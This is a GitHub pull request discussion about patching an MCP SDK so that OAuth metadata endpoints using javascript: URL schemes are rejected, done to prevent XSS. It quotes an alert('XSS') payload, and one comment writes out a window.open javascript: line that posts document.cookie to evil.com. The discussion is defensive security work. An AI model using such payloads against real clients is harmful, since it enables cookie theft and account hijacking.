Skip to content

fix(auth): prevent javascript url injection in oauth endpoints #841

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
wants to merge 2 commits into
base: main
Choose a base branch
from

Conversation

arjunkmrm
Copy link

@arjunkmrm arjunkmrm commented Aug 5, 2025

Added URL scheme validation to OAuth endpoints to prevent JavaScript URL injection attacks. Only http: and https: schemes are now allowed in OAuth authorization server metadata.

Motivation and Context

Malicious authorization servers could return OAuth endpoints with dangerous URL schemes (like javascript:, data:, file:) that could lead to XSS/RCE attacks when processed by OAuth clients.

The attack flow:

  1. User connects to MCP server
  2. Server returns malicious authorization server URL
  3. Authorization server metadata contains: {"authorization_endpoint": "javascript:alert('XSS')"}
  4. SDK processes malicious URL → potential code execution

How Has This Been Tested?

  • Original vulnerability found by user report in Smithery, patched by only allowing http or https scheme as authorization endpoints

Types of changes

  • Bug fix (non-breaking change which fixes an issue)
  • New feature (non-breaking change which adds functionality)
  • Breaking change (fix or feature that would cause existing functionality to change)
  • Documentation update

Checklist

  • I have read the MCP Documentation
  • My code follows the repository's style guidelines
  • New and existing tests pass locally
  • I have added appropriate error handling
  • I have added or updated documentation as needed

@arjunkmrm arjunkmrm requested a review from a team as a code owner August 5, 2025 04:08
@arjunkmrm arjunkmrm requested a review from pcarleton August 5, 2025 04:08
@paoloricciuti
Copy link

Is there a situation where an authorization server could be behind a custom protocol? For example raycast uses raycast:// links to open the app (but that's the redirect url rather than the authorization. I'm just questioning if there's a situation where the server might need a custom protocol that is not http/https

@arjunkmrm
Copy link
Author

@paoloricciuti another option is to selectively disallow certain schemes like javascript instead of a blanket block on everything except http and https

@paoloricciuti
Copy link

@paoloricciuti another option is to selectively disallow certain schemes like javascript instead of a blanket block on everything except http and https

Yeah exactly my thought...also technically nothing prevents the MCP server to specify a authorization url that lead to a page with malicious JS even if the protocol was https

@arjunkmrm
Copy link
Author

arjunkmrm commented Aug 5, 2025

I guess if it specifies a url of a page containing malicious JS, the risk is relatively contained because the page context is of different origin. Opposed to, for example, windows.open execution of malicious JS within the client's origin (in which case the attacker can easily steal cookies/data)

for example:

window.open("javascript:fetch('https://evil.com/steal',{method:'POST',body:document.cookie})")

Copy link
Contributor

@pcarleton pcarleton left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

hey thanks for this.

I'd rather we validate the metadata on fetch, and reject it there than have to chase every time its used

@arjunkmrm
Copy link
Author

arjunkmrm commented Aug 5, 2025

Updated discoverAuthorizationServerMetadata to validate that metadata.authorization_endpoint doesn't contain javascript: schema before returning metadata. Narrowed the scope since this is the url that'll be primarily executed in the user's browser context. Let me know if this looks good

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

3 participants